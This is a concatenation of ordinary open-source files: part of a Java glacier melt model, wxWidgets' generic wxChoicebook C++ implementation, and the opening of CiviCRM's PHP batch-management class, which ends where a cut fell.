Q_for_melt = 0.0;
}
} // If ice thickness is equal to 0 or there is no energy
else if ((glacier_thickness_instance == 0) | (Q_for_melt <= 0)) // Required so that if winter_snow_surface is already zero or there is no energy, then nothing is done
{
ice_thickness_change = 0.0;
ice_thickness_change_surface[i][j] = 0.0;
} // If ice thickness is equal to NODATA_value or there is no energy
else if ((glacier_thickness_instance == NODATA_value) | (Q_for_melt == NODATA_value)) {
ice_thickness_change_surface[i][j] = NODATA_value;
}
}
// Update surfaces
//Update summer snow thickness
if ((summer_snow_surface_change[i][j] != NODATA_value) && (summer_snow_thickness[i][j] != NODATA_value)) {
if ((summer_snow_thickness[i][j] - summer_snow_surface_change[i][j]) >= 0.0) {
summer_snow_thickness[i][j] = summer_snow_thickness[i][j] - summer_snow_surface_change[i][j];
} else if ((summer_snow_thickness[i][j] - summer_snow_surface_change[i][j]) < 0.0) {
summer_snow_thickness[i][j] = 0.0;
} else if ((summer_snow_surface_change[i][j] == NODATA_value) | (summer_snow_thickness[i][j] == NODATA_value)) {
summer_snow_thickness[i][j] = NODATA_value;
}
}
store.setSummerSnowSurface(summer_snow_thickness);
//Update winter snow thickness
if ((winter_snow_surface_change[i][j] != NODATA_value) && (winter_snow_thickness[i][j] != NODATA_value)) {
if ((winter_snow_thickness[i][j] - winter_snow_surface_change[i][j]) >= 0.0) {
winter_snow_thickness[i][j] = winter_snow_thickness[i][j] - winter_snow_surface_change[i][j];
} else if ((winter_snow_thickness[i][j] - winter_snow_surface_change[i][j]) < 0.0) {
winter_snow_thickness[i][j] = 0.0;
} else if ((winter_snow_surface_change[i][j] == NODATA_value) | (winter_snow_thickness[i][j] == NODATA_value)) {
winter_snow_thickness[i][j] = NODATA_value;
}
}
store.setWinterSnowSurface(winter_snow_thickness);
//Update glacier ice thickness
if ((ice_thickness_change_surface[i][j] != NODATA_value) && (glacier_thickness[i][j] != NODATA_value)) {
if ((glacier_thickness[i][j] - ice_thickness_change_surface[i][j]) >= 0.0) {
glacier_thickness[i][j] = glacier_thickness[i][j] - ice_thickness_change_surface[i][j];
} else if ((glacier_thickness[i][j] - ice_thickness_change_surface[i][j]) < 0.0) {
glacier_thickness[i][j] = 0.0;
} else if ((ice_thickness_change_surface[i][j] == NODATA_value) | (glacier_thickness[i][j] == NODATA_value)) {
glacier_thickness[i][j] = NODATA_value;
}
}
//store.setThickness(glacier_thickness);
// summer_snow_thickness[i][j] = summer_snow_thickness[i][j] - summer_snow_surface_change[i][j];
// winter_snow_thickness[i][j] = winter_snow_thickness[i][j] - winter_snow_surface_change[i][j];
// glacier_thickness[i][j] = glacier_thickness[i][j] - ice_thickness_change_surface[i][j];
store.setSummerSnowSurface(summer_snow_thickness);
store.setWinterSnowSurface(winter_snow_thickness);
store.setThickness(glacier_thickness);
}
}
//*********************************************************************************************************************************************************
/**
* Loops through ice_thickness_surface_adjustment and
* populates it with values equal to
* glacier_thickness_intermediary - glacier_thickness. The
* output of this is a correct calculation of actual surface
* melt).
*
*/
for (int i = 0; i < ice_thickness_surface_adjustment.length; i++) {
for (int j = 0; j < ice_thickness_surface_adjustment[i].length; j++) {
if ((glacier_thickness[i][j] == NODATA_value) | (glacier_thickness_intermediary[i][j] == NODATA_value)) {
ice_thickness_surface_adjustment[i][j] = NODATA_value;
} else if ((glacier_thickness[i][j] != NODATA_value) & (glacier_thickness_intermediary[i][j] != NODATA_value)) {
ice_thickness_surface_adjustment[i][j] = glacier_thickness_intermediary[i][j] - glacier_thickness[i][j];
// Accumulation of adjustment values to give daily mean melt
double thickness_adjustment_instance = ice_thickness_surface_adjustment[i][j];
thickness_adjustment_total += thickness_adjustment_instance; // Accumulates all thickness change
adjustment_counter++; // Counts instances of glacier thickness where != NODATA_value
double ice_volume_adjustment = thickness_adjustment_instance * cell_area;
volume_adjustment_total += ice_volume_adjustment; // Accumulates all thickness change
}
}
}
DecimalFormat df_mean_melt = new DecimalFormat("0.00");
double Daily_mean_ice_thickness_change = thickness_adjustment_total / adjustment_counter;
double Daily_mean_ice_volume_change = volume_adjustment_total / adjustment_counter;
//System.out.println("Daily mean thickness change: " + df_mean_melt.format(Daily_mean_ice_thickness_change) + "m");
//System.out.println("Daily mean volume change: " + Daily_mean_ice_volume_change + "m^3");
/**
* Updates elevation surface and re-sets it for use at the
* top of the loop
*
*/
for (int i = 0; i < elevation.length; i++) {
for (int j = 0; j < elevation[i].length; j++) {
if ((elevation[i][j] != NODATA_value) & (ice_thickness_surface_adjustment[i][j] != NODATA_value)) {
elevation[i][j] = elevation[i][j] - ice_thickness_surface_adjustment[i][j];
} else if ((elevation[i][j] == NODATA_value) | (ice_thickness_surface_adjustment[i][j] == NODATA_value)) {
elevation[i][j] = NODATA_value;
}
}
}
store.setElevation(elevation);
elevation = store.getElevation();
/**
* This bit will open a save box to save the updated
* thickness layer as an ASCII, using the coordinates of the
* originally opened up elevation surface
*
*/
if (save_arrays == 1) {
File f_glacier_thickness = new File("F:/Melt_modelling/Historical_model_outputs_aspect_fixed/updated_thickness_" + (int) month + "." + (int) year + ".txt");
DecimalFormat df_glacier_thickness = new DecimalFormat("#.####");
try {
BufferedWriter bw_glacier_thickness = new BufferedWriter(new FileWriter(f_glacier_thickness));
bw_glacier_thickness.write("ncols" + " " + store.getOriginalNcols());
bw_glacier_thickness.write(System.getProperty("line.separator"));
bw_glacier_thickness.write("nrows" + " " + store.getOriginalNrows());
bw_glacier_thickness.write(System.getProperty("line.separator"));
bw_glacier_thickness.write("xllcorner" + " " + store.getOriginalXllcorner());
bw_glacier_thickness.write(System.getProperty("line.separator"));
bw_glacier_thickness.write("yllcorner" + " " + store.getOriginalYllcorner());
bw_glacier_thickness.write(System.getProperty("line.separator"));
bw_glacier_thickness.write("cellsize" + " " + store.getOriginalCellsize());
bw_glacier_thickness.write(System.getProperty("line.separator"));
bw_glacier_thickness.write("NODATA_value" + " " + "-9999");
bw_glacier_thickness.write(System.getProperty("line.separator"));
/**
* Write out the array data
*
*/
//String tempStr = "";
for (int a = 0; a < glacier_thickness.length; a++) {
for (int b = 0; b < glacier_thickness[a].length; b++) {
if (glacier_thickness[a][b] == NODATA_value) {
bw_glacier_thickness.write("-9999 ");
} else {
bw_glacier_thickness.write(df_glacier_thickness.format(glacier_thickness[a][b]) + " ");
}
}
bw_glacier_thickness.newLine();
}
bw_glacier_thickness.close();
} catch (IOException ioe) {
ioe.printStackTrace();
}
System.out.println("Glacier_thickness: " + f_glacier_thickness.getAbsolutePath());
} else {
// Do not save array
}
/**
* This bit will open a save box to save the updated
* elevation layer as an ASCII, using the coordinates of the
* originally opened up elevation surface
*
*/
if (save_arrays == 1) {
File f_elevation_update = new File("F:/Melt_modelling/Historical_model_outputs_aspect_fixed/updated_elevation_" + (int) month + "." + (int) year + ".txt");
DecimalFormat df_elevation_update = new DecimalFormat("#.####");
try {
BufferedWriter bw_elevation_update = new BufferedWriter(new FileWriter(f_elevation_update));
bw_elevation_update.write("ncols" + " " + store.getOriginalNcols());
bw_elevation_update.write(System.getProperty("line.separator"));
bw_elevation_update.write("nrows" + " " + store.getOriginalNrows());
bw_elevation_update.write(System.getProperty("line.separator"));
bw_elevation_update.write("xllcorner" + " " + store.getOriginalXllcorner());
bw_elevation_update.write(System.getProperty("line.separator"));
bw_elevation_update.write("yllcorner" + " " + store.getOriginalYllcorner());
bw_elevation_update.write(System.getProperty("line.separator"));
bw_elevation_update.write("cellsize" + " " + store.getOriginalCellsize());
bw_elevation_update.write(System.getProperty("line.separator"));
bw_elevation_update.write("NODATA_value" + " " + "-9999");
bw_elevation_update.write(System.getProperty("line.separator"));
/**
* Write out the array data
*
*/
//String tempStr = "";
for (int a = 0; a < elevation.length; a++) {
for (int b = 0; b < elevation[a].length; b++) {
if (Q_daily_grid[a][b] == NODATA_value) {
bw_elevation_update.write("-9999 ");
} else {
bw_elevation_update.write(df_elevation_update.format(elevation[a][b]) + " ");
}
}
bw_elevation_update.newLine();
}
bw_elevation_update.close();
} catch (IOException ioe) {
ioe.printStackTrace();
}
System.out.println("Updated elevation: " + f_elevation_update.getAbsolutePath());
} else {
// Do not save array
}
/*
* Deals with inputs for the stats file. Sorts out loop
* counting and also loops through the radiation, psi and
* lapse rate surfaces to calculate mean values for the
* stats file
*/
Loop_counter++;
for (int i = 0; i < surfaceRadiationSurface.length; i++) {
for (int j = 0; j < surfaceRadiationSurface[i].length; j++) {
if (surfaceRadiationSurface[i][j] != NODATA_value) {
double Radiation_instance = surfaceRadiationSurface[i][j];
Radiation_total += Radiation_instance;
Radiation_counter++;
} else {
}
if (psi_surface[i][j] != NODATA_value) {
double Psi_instance = psi_surface[i][j];
Psi_total += Psi_instance;
Psi_counter++;
} else {
}
if (lapsed_temp[i][j] != NODATA_value) {
double Lapsed_temp_instance = lapsed_temp[i][j];
Lapsed_temp_total += Lapsed_temp_instance;
Lapsed_temp_counter++;
} else {
}
}
}
//Sort other values
bw_stats.write(Loop_counter + ", " + month + ", " + year + ", " + Radiation_total / Radiation_counter
+ ", " + Psi_total / Psi_counter + ", " + mean_Q_m2 / radiation_loop_counter + ", " + Lapsed_temp_total / Lapsed_temp_counter + ", " + "N/A"
+ ", " + thickness_adjustment_total / adjustment_counter + ", "
+ volume_adjustment_total / adjustment_counter);
bw_stats.newLine();
} // If there is no surfaceRadiationSurface (i.e. if the month and temp list extends to a period where there are no solar geometry values
// e.g. if the main met input fle starts march 1920 but the radiation file doesn't start until march 1926, then surfaceRadiationSurface
// would be null for all runs until march 1926
else {
System.out.println("No radiation surface - main input and radiation input must be starting at different dates");
}
//}
System.out.println("summersnow_hit: " + summersnow_hit);
System.out.println("nosummersnow_hit: " + nosummersnow_hit);
System.out.println("summersnow_wintersnow_hit: " + summersnow_wintersnow_hit);
System.out.println("summersnow_no_wintersnow_hit: " + summersnow_no_wintersnow_hit);
System.out.println("summersnow_wintersnow_ice: " + summersnow_wintersnow_ice);
System.out.println("no_summersnow_wintersnow_hit: " + no_summersnow_wintersnow_hit);
System.out.println("no_summersnow_no_wintersnow_hit: " + no_summersnow_no_wintersnow_hit);
System.out.println("no_summersnow_wintersnow_ice: " + no_summersnow_wintersnow_ice);
/**
* This bit will open a save box to save the aspect
* layer as an ASCII, using the coordinates of the originally
* opened up elevation surface
*
*/
if (save_arrays == 3) {
File f_aspectSurface = new File("F:/Melt_modelling/Historical_model_outputs_aspect_fixed/aspect_" + (int) month + "." + (int) year + ".txt");
DecimalFormat df_aspectSurface = new DecimalFormat("#.####");
try {
BufferedWriter bw_aspectSurface = new BufferedWriter(new FileWriter(f_aspectSurface));
bw_aspectSurface.write("ncols" + " " + store.getOriginalNcols());
bw_aspectSurface.write(System.getProperty("line.separator"));
bw_aspectSurface.write("nrows" + " " + store.getOriginalNrows());
bw_aspectSurface.write(System.getProperty("line.separator"));
bw_aspectSurface.write("xllcorner" + " " + store.getOriginalXllcorner());
bw_aspectSurface.write(System.getProperty("line.separator"));
bw_aspectSurface.write("yllcorner" + " " + store.getOriginalYllcorner());
bw_aspectSurface.write(System.getProperty("line.separator"));
bw_aspectSurface.write("cellsize" + " " + store.getOriginalCellsize());
bw_aspectSurface.write(System.getProperty("line.separator"));
bw_aspectSurface.write("NODATA_value" + " " + "-9999");
bw_aspectSurface.write(System.getProperty("line.separator"));
/**
* Write out the array data
*
*/
//String tempStr = "";
for (int a = 0; a < aspectSurface.length; a++) {
for (int b = 0; b < aspectSurface[a].length; b++) {
if (aspectSurface[a][b] == NODATA_value) {
bw_aspectSurface.write("-9999 ");
} else {
bw_aspectSurface.write(df_aspectSurface.format(aspectSurface[a][b]) + " ");
}
}
bw_aspectSurface.newLine();
}
bw_aspectSurface.close();
} catch (IOException ioe) {
ioe.printStackTrace();
}
System.out.println("Aspect check: " + f_aspectSurface.getAbsolutePath());
} else {
// Do not save array
}
}
bw_stats.close();
} catch (IOException ioe) {
ioe.printStackTrace();
}
}
/**
* This calculates the temperature at a point as a function of elevation
* relative to the temperature from a meteorological station of known
* elevation - the lapse rate value used is 0.0065 which is between the
* generic environmental lapse rate values of 0.006 and 0.007°C/m
* (Ballantyne, 2002)
*
*/
public double LapseRate(double elevation, double BaseTemp) {
double BaseElevation = 800.0; // Elevation of meteorological station
//double BaseTemp = store.getTemp(); // Temperature at meteorological station (needs to come from within the loop)
double equalizedElevation = elevation - BaseElevation; // Calculates height difference between met station and pooint of interest
double pseudoTemp = equalizedElevation * 0.0065; // Calculates temperature (celcius - increase/decrease) lapse difference
// according to equalizedElevation
double lapseRate = BaseTemp - pseudoTemp; // Calculates temperature at point of interested with a lapse rate correction
return lapseRate;
}
}
|
Chris35Wills/SEB_model_java_files
|
SEB_model/source_code/Historical_Model_Aspect_Fixed_LARGE_FILES.java
|
Java
|
gpl-2.0
| 138,178
|
///////////////////////////////////////////////////////////////////////////////
// Name: src/generic/choicbkg.cpp
// Purpose: generic implementation of wxChoicebook
// Author: Vadim Zeitlin
// Modified by: Wlodzimierz ABX Skiba from generic/listbkg.cpp
// Created: 15.09.04
// RCS-ID: $Id: choicbkg.cpp 65967 2010-10-31 13:33:34Z VZ $
// Copyright: (c) Vadim Zeitlin, Wlodzimierz Skiba
// Licence: wxWindows licence
///////////////////////////////////////////////////////////////////////////////
// ============================================================================
// declarations
// ============================================================================
// ----------------------------------------------------------------------------
// headers
// ----------------------------------------------------------------------------
// For compilers that support precompilation, includes "wx.h".
#include "wx/wxprec.h"
#ifdef __BORLANDC__
#pragma hdrstop
#endif
#if wxUSE_CHOICEBOOK
#include "wx/choicebk.h"
#ifndef WX_PRECOMP
#include "wx/settings.h"
#include "wx/choice.h"
#include "wx/sizer.h"
#endif
#include "wx/imaglist.h"
// ----------------------------------------------------------------------------
// various wxWidgets macros
// ----------------------------------------------------------------------------
// check that the page index is valid
#define IS_VALID_PAGE(nPage) ((nPage) < GetPageCount())
// ----------------------------------------------------------------------------
// event table
// ----------------------------------------------------------------------------
IMPLEMENT_DYNAMIC_CLASS(wxChoicebook, wxBookCtrlBase)
wxDEFINE_EVENT( wxEVT_COMMAND_CHOICEBOOK_PAGE_CHANGING, wxBookCtrlEvent );
wxDEFINE_EVENT( wxEVT_COMMAND_CHOICEBOOK_PAGE_CHANGED, wxBookCtrlEvent );
BEGIN_EVENT_TABLE(wxChoicebook, wxBookCtrlBase)
EVT_CHOICE(wxID_ANY, wxChoicebook::OnChoiceSelected)
END_EVENT_TABLE()
// ============================================================================
// wxChoicebook implementation
// ============================================================================
// ----------------------------------------------------------------------------
// wxChoicebook creation
// ----------------------------------------------------------------------------
bool
wxChoicebook::Create(wxWindow *parent,
wxWindowID id,
const wxPoint& pos,
const wxSize& size,
long style,
const wxString& name)
{
if ( (style & wxBK_ALIGN_MASK) == wxBK_DEFAULT )
{
style |= wxBK_TOP;
}
// no border for this control, it doesn't look nice together with
// wxChoice border
style &= ~wxBORDER_MASK;
style |= wxBORDER_NONE;
if ( !wxControl::Create(parent, id, pos, size, style,
wxDefaultValidator, name) )
return false;
m_bookctrl = new wxChoice
(
this,
wxID_ANY,
wxDefaultPosition,
wxDefaultSize
);
wxSizer* mainSizer = new wxBoxSizer(IsVertical() ? wxVERTICAL : wxHORIZONTAL);
if (style & wxBK_RIGHT || style & wxBK_BOTTOM)
mainSizer->Add(0, 0, 1, wxEXPAND, 0);
m_controlSizer = new wxBoxSizer(IsVertical() ? wxHORIZONTAL : wxVERTICAL);
m_controlSizer->Add(m_bookctrl, 1, (IsVertical() ? wxALIGN_CENTRE_VERTICAL : wxALIGN_CENTRE) |wxGROW, 0);
mainSizer->Add(m_controlSizer, 0, (IsVertical() ? (int) wxGROW : (int) wxALIGN_CENTRE_VERTICAL)|wxALL, m_controlMargin);
SetSizer(mainSizer);
return true;
}
// ----------------------------------------------------------------------------
// accessing the pages
// ----------------------------------------------------------------------------
bool wxChoicebook::SetPageText(size_t n, const wxString& strText)
{
GetChoiceCtrl()->SetString(n, strText);
return true;
}
wxString wxChoicebook::GetPageText(size_t n) const
{
return GetChoiceCtrl()->GetString(n);
}
int wxChoicebook::GetPageImage(size_t WXUNUSED(n)) const
{
return wxNOT_FOUND;
}
bool wxChoicebook::SetPageImage(size_t WXUNUSED(n), int WXUNUSED(imageId))
{
// fail silently, the code may be written to use one of several book
// classes and call SetPageImage() unconditionally, it's better to just
// ignore it (which is the best we can do short of rewriting this class to
// use wxBitmapComboBox anyhow) than complain loudly about a rather
// harmless problem
return false;
}
// ----------------------------------------------------------------------------
// miscellaneous other stuff
// ----------------------------------------------------------------------------
void wxChoicebook::DoSetWindowVariant(wxWindowVariant variant)
{
wxBookCtrlBase::DoSetWindowVariant(variant);
if (m_bookctrl)
m_bookctrl->SetWindowVariant(variant);
}
void wxChoicebook::SetImageList(wxImageList *imageList)
{
// TODO: can be implemented in form of static bitmap near choice control
wxBookCtrlBase::SetImageList(imageList);
}
// ----------------------------------------------------------------------------
// selection
// ----------------------------------------------------------------------------
wxBookCtrlEvent* wxChoicebook::CreatePageChangingEvent() const
{
return new wxBookCtrlEvent(wxEVT_COMMAND_CHOICEBOOK_PAGE_CHANGING, m_windowId);
}
void wxChoicebook::MakeChangedEvent(wxBookCtrlEvent &event)
{
event.SetEventType(wxEVT_COMMAND_CHOICEBOOK_PAGE_CHANGED);
}
// ----------------------------------------------------------------------------
// adding/removing the pages
// ----------------------------------------------------------------------------
bool
wxChoicebook::InsertPage(size_t n,
wxWindow *page,
const wxString& text,
bool bSelect,
int imageId)
{
if ( !wxBookCtrlBase::InsertPage(n, page, text, bSelect, imageId) )
return false;
GetChoiceCtrl()->Insert(text, n);
// if the inserted page is before the selected one, we must update the
// index of the selected page
if ( int(n) <= m_selection )
{
// one extra page added
m_selection++;
GetChoiceCtrl()->Select(m_selection);
}
if ( !DoSetSelectionAfterInsertion(n, bSelect) )
page->Hide();
return true;
}
wxWindow *wxChoicebook::DoRemovePage(size_t page)
{
wxWindow *win = wxBookCtrlBase::DoRemovePage(page);
if ( win )
{
GetChoiceCtrl()->Delete(page);
if ( m_selection >= (int)page )
{
// ensure that the selection is valid
int sel;
if ( GetPageCount() == 0 )
sel = wxNOT_FOUND;
else
sel = m_selection ? m_selection - 1 : 0;
// if deleting current page we shouldn't try to hide it
m_selection = m_selection == (int)page ? wxNOT_FOUND
: m_selection - 1;
if ( sel != wxNOT_FOUND && sel != m_selection )
SetSelection(sel);
}
}
return win;
}
bool wxChoicebook::DeleteAllPages()
{
GetChoiceCtrl()->Clear();
return wxBookCtrlBase::DeleteAllPages();
}
// ----------------------------------------------------------------------------
// wxChoicebook events
// ----------------------------------------------------------------------------
void wxChoicebook::OnChoiceSelected(wxCommandEvent& eventChoice)
{
if ( eventChoice.GetEventObject() != m_bookctrl )
{
eventChoice.Skip();
return;
}
const int selNew = eventChoice.GetSelection();
if ( selNew == m_selection )
{
// this event can only come from our own Select(m_selection) below
// which we call when the page change is vetoed, so we should simply
// ignore it
return;
}
SetSelection(selNew);
// change wasn't allowed, return to previous state
if (m_selection != selNew)
GetChoiceCtrl()->Select(m_selection);
}
#endif // wxUSE_CHOICEBOOK
|
Zombiebest/Dolphin
|
Externals/wxWidgets3/src/generic/choicbkg.cpp
|
C++
|
gpl-2.0
| 8,542
|
<?php
/*
+--------------------------------------------------------------------+
| CiviCRM version 4.6 |
+--------------------------------------------------------------------+
| Copyright CiviCRM LLC (c) 2004-2015 |
+--------------------------------------------------------------------+
| This file is a part of CiviCRM. |
| |
| CiviCRM is free software; you can copy, modify, and distribute it |
| under the terms of the GNU Affero General Public License |
| Version 3, 19 November 2007 and the CiviCRM Licensing Exception. |
| |
| CiviCRM is distributed in the hope that it will be useful, but |
| WITHOUT ANY WARRANTY; without even the implied warranty of |
| MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. |
| See the GNU Affero General Public License for more details. |
| |
| You should have received a copy of the GNU Affero General Public |
| License and the CiviCRM Licensing Exception along |
| with this program; if not, contact CiviCRM LLC |
| at info[AT]civicrm[DOT]org. If you have questions about the |
| GNU Affero General Public License or the licensing of CiviCRM, |
| see the CiviCRM license FAQ at http://civicrm.org/licensing |
+--------------------------------------------------------------------+
*/
/**
*
* @package CRM
* @copyright CiviCRM LLC (c) 2004-2015
* $Id$
*
*/
/**
*
*/
class CRM_Batch_BAO_Batch extends CRM_Batch_DAO_Batch {
/**
* Cache for the current batch object.
*/
static $_batch = NULL;
/**
* Not sure this is the best way to do this. Depends on how exportFinancialBatch() below gets called.
* Maybe a parameter to that function is better.
*/
static $_exportFormat = NULL;
/**
* Create a new batch.
*
* @param array $params
* @param array $ids
* Associated array of ids.
* @param string $context
* String.
*
* @return object
* $batch batch object
*/
public static function create(&$params, $ids = NULL, $context = NULL) {
if (empty($params['id'])) {
$params['name'] = CRM_Utils_String::titleToVar($params['title']);
}
$batch = new CRM_Batch_DAO_Batch();
$batch->copyValues($params);
if ($context == 'financialBatch' && !empty($ids['batchID'])) {
$batch->id = $ids['batchID'];
}
$batch->save();
return $batch;
}
/**
* Retrieve the information about the batch.
*
* @param array $params
* (reference ) an assoc array of name/value pairs.
* @param array $defaults
* (reference ) an assoc array to hold the flattened values.
*
* @return array
* CRM_Batch_BAO_Batch object on success, null otherwise
*/
public static function retrieve(&$params, &$defaults) {
$batch = new CRM_Batch_DAO_Batch();
$batch->copyValues($params);
if ($batch->find(TRUE)) {
CRM_Core_DAO::storeValues($batch, $defaults);
return $batch;
}
return NULL;
}
/**
* Get profile id associated with the batch type.
*
* @param int $batchTypeId
* Batch type id.
*
* @return int
* $profileId profile id
*/
public static function getProfileId($batchTypeId) {
//retrieve the profile specific to batch type
switch ($batchTypeId) {
case 1:
case 3:
//batch profile used for pledges
$profileName = "contribution_batch_entry";
break;
case 2:
//batch profile used for memberships
$profileName = "membership_batch_entry";
break;
}
// get and return the profile id
return CRM_Core_DAO::getFieldValue('CRM_Core_BAO_UFGroup', $profileName, 'id', 'name');
}
/**
* Generate batch name.
*
* @return string
* batch name
*/
public static function generateBatchName() {
$sql = "SELECT max(id) FROM civicrm_batch";
$batchNo = CRM_Core_DAO::singleValueQuery($sql) + 1;
return ts('Batch %1', array(1 => $batchNo)) . ': ' . date('Y-m-d');
}
/**
* Create entity batch entry.
*
* @param array $params
* @return array
*/
public static function addBatchEntity(&$params) {
$entityBatch = new CRM_Batch_DAO_EntityBatch();
$entityBatch->copyValues($params);
$entityBatch->save();
return $entityBatch;
}
/**
* Remove entries from entity batch.
* @param array $params
* @return CRM_Batch_DAO_EntityBatch
*/
public static function removeBatchEntity($params) {
$entityBatch = new CRM_Batch_DAO_EntityBatch();
$entityBatch->copyValues($params);
$entityBatch->delete();
return $entityBatch;
}
/**
* Delete batch entry.
*
* @param int $batchId
* Batch id.
*
* @return bool
*/
public static function deleteBatch($batchId) {
// delete entry from batch table
$batch = new CRM_Batch_DAO_Batch();
$batch->id = $batchId;
$batch->delete();
return TRUE;
}
/**
* wrapper for ajax batch selector.
*
* @param array $params
* Associated array for params record id.
*
* @return array
* associated array of batch list
*/
public function getBatchListSelector(&$params) {
// format the params
$params['offset'] = ($params['page'] - 1) * $params['rp'];
$params['rowCount'] = $params['rp'];
$params['sort'] = CRM_Utils_Array::value('sortBy', $params);
// get batches
$batches = self::getBatchList($params);
// get batch totals for open batches
$fetchTotals = array();
$batchStatus = CRM_Core_PseudoConstant::get('CRM_Batch_DAO_Batch', 'status_id', array('labelColumn' => 'name'));
$batchStatus = array(
array_search('Open', $batchStatus),
array_search('Reopened', $batchStatus),
);
if ($params['context'] == 'financialBatch') {
foreach ($batches as $id => $batch) {
if (in_array($batch['status_id'], $batchStatus)) {
$fetchTotals[] = $id;
}
}
}
$totals = self::batchTotals($fetchTotals);
// add count
$params['total'] = self::getBatchCount($params);
// format params and add links
$batchList = array();
foreach ($batches as $id => $value) {
$batch = array();
if ($params['context'] == 'financialBatch') {
$batch['check'] = $value['check'];
}
$batch['batch_name'] = $value['title'];
$batch['total'] = '';
$batch['payment_instrument'] = $value['payment_instrument'];
$batch['item_count'] = CRM_Utils_Array::value('item_count', $value);
$batch['type'] = $value['batch_type'];
if (!empty($value['total'])) {
$batch['total'] = CRM_Utils_Money::format($value['total']);
}
// Compare totals with actuals
if (isset($totals[$id])) {
$batch['item_count'] = self::displayTotals($totals[$id]['item_count'], $batch['item_count']);
$batch['total'] = self::displayTotals(CRM_Utils_Money::format($totals[$id]['total']), $batch['total']);
}
$batch['status'] = $value['batch_status'];
$batch['created_by'] = $value['created_by'];
$batch['links'] = $value['action'];
$batchList[$id] = $batch;
}
return $batchList;
}
/**
* Get list of batches.
*
* @param array $params
* Associated array for params.
*
* @return array
*/
public static function getBatchList(&$params) {
$whereClause = self::whereClause($params);
if (!empty($params['rowCount']) && is_numeric($params['rowCount'])
&& is_numeric($params['offset']) && $params['rowCount'] > 0
) {
$limit = " LIMIT {$params['offset']}, {$params['rowCount']} ";
}
$orderBy = ' ORDER BY batch.id desc';
if (!empty($params['sort'])) {
$orderBy = ' ORDER BY ' . CRM_Utils_Type::escape($params['sort'], 'String');
}
$query = "
SELECT batch.*, c.sort_name created_by
FROM civicrm_batch batch
INNER JOIN civicrm_contact c ON batch.created_id = c.id
WHERE {$whereClause}
{$orderBy}
{$limit}";
$object = CRM_Core_DAO::executeQuery($query, $params, TRUE, 'CRM_Batch_DAO_Batch');
if (!empty($params['context'])) {
$links = self::links($params['context']);
}
else {
$links = self::links();
}
$batchTypes = CRM_Core_PseudoConstant::get('CRM_Batch_DAO_Batch', 'type_id');
$batchStatus = CRM_Core_PseudoConstant::get('CRM_Batch_DAO_Batch', 'status_id');
$batchStatusByName = CRM_Core_PseudoConstant::get('CRM_Batch_DAO_Batch', 'status_id', array('labelColumn' => 'name'));
$paymentInstrument = CRM_Contribute_PseudoConstant::paymentInstrument();
$results = array();
while ($object->fetch()) {
$values = array();
$newLinks = $links;
CRM_Core_DAO::storeValues($object, $values);
$action = array_sum(array_keys($newLinks));
if ($values['status_id'] == array_search('Closed', $batchStatusByName) && $params['context'] != 'financialBatch') {
$newLinks = array();
}
elseif ($params['context'] == 'financialBatch') {
$values['check'] = "<input type='checkbox' id='check_" .
$object->id .
"' name='check_" .
$object->id .
"' value='1' data-status_id='" .
$values['status_id'] . "' class='select-row'></input>";
switch ($batchStatusByName[$values['status_id']]) {
case 'Open':
CRM_Utils_Array::remove($newLinks, 'reopen', 'download');
break;
case 'Closed':
CRM_Utils_Array::remove($newLinks, 'close', 'edit', 'download');
break;
case 'Exported':
CRM_Utils_Array::remove($newLinks, 'close', 'edit', 'reopen', 'export');
}
}
if (!empty($values['type_id'])) {
$values['batch_type'] = $batchTypes[$values['type_id']];
}
$values['batch_status'] = $batchStatus[$values['status_id']];
$values['created_by'] = $object->created_by;
$values['payment_instrument'] = '';
if (!empty($object->payment_instrument_id)) {
$values['payment_instrument'] = $paymentInstrument[$object->payment_instrument_id];
}
$tokens = array('id' => $object->id, 'status' => $values['status_id']);
if ($values['status_id'] == array_search('Exported', $batchStatusByName)) {
$aid = CRM_Core_OptionGroup::getValue('activity_type', 'Export Accounting Batch');
$activityParams = array('source_record_id' => $object->id, 'activity_type_id' => $aid);
$exportActivity = CRM_Activity_BAO_Activity::retrieve($activityParams, $val);
$fid = CRM_Core_DAO::getFieldValue('CRM_Core_DAO_EntityFile', $exportActivity->id, 'file_id', 'entity_id');
$tokens = array_merge(array('eid' => $exportActivity->id, 'fid' => $fid), $tokens);
}
$values['action'] = CRM_Core_Action::formLink(
$newLinks,
$action,
$tokens,
ts('more'),
FALSE,
'batch.selector.row',
'Batch',
$object->id
);
$results[$object->id] = $values;
}
return $results;
}
/**
* Get count of batches.
*
* @param array $params
* Associated array for params.
*
* @return null|string
*/
public static function getBatchCount(&$params) {
$args = array();
$whereClause = self::whereClause($params, $args);
$query = " SELECT COUNT(*) FROM civicrm_batch batch
INNER JOIN civicrm_contact c ON batch.created_id = c.id
WHERE {$whereClause}";
return CRM_Core_DAO::singleValueQuery($query);
}
/**
* Format where clause for getting lists of batches.
*
* @param array $params
* Associated array for params.
*
* @return string
*/
public static function whereClause($params) {
$clauses = array();
// Exclude data-entry batches
$batchStatus = CRM_Core_PseudoConstant::get('CRM_Batch_DAO_Batch', 'status_id', array('labelColumn' => 'name'));
if (empty($params['status_id'])) {
$clauses[] = 'batch.status_id <> ' . array_search('Data Entry', $batchStatus);
}
$fields = array(
'title' => 'String',
'sort_name' => 'String',
'status_id' => 'Integer',
'payment_instrument_id' => 'Integer',
'item_count' => 'Integer',
'total' => 'Float',
);
foreach ($fields as $field => $type) {
$table = $field == 'sort_name' ? 'c' : 'batch';
if (isset($params[$field])) {
$value = CRM_Utils_Type::escape($params[$field], $type, FALSE);
if ($value && $type == 'String') {
$clauses[] = "$table.$field LIKE '%$value%'";
}
elseif ($value && $type == 'Float') {
$clauses[] = "$table.$field = '$value'";
}
elseif ($value) {
if ($field == 'status_id' && $value == array_search('Open', $batchStatus)) {
$clauses[] = "$table.$field IN ($value," . array_search('Reopened', $batchStatus) . ')';
}
else {
$clauses[] = "$table.$field = $value";
}
}
}
}
return $clauses ? implode(' AND ', $clauses) : '1';
}
/**
* Define action links.
*
* @param null $context
*
* @return array
* array of action links
*/
public function links($context = NULL) {
if ($context == 'financialBatch') {
$links = array(
'transaction' => array(
'name' => ts('Transactions'),
'url' => 'civicrm/batchtransaction',
'qs' => 'reset=1&bid=%%id%%',
'title' => ts('View/Add Transactions to Batch'),
),
'edit' => array(
'name' => ts('Edit'),
'url' => 'civicrm/financial/batch',
'qs' => 'reset=1&action=update&id=%%id%%&context=1',
'title' => ts('Edit Batch'),
),
'close' => array(
'name' => ts('Close'),
'title' => ts('Close Batch'),
'url' => '#',
'extra' => 'rel="close"',
),
'export' => array(
'name' => ts('Export'),
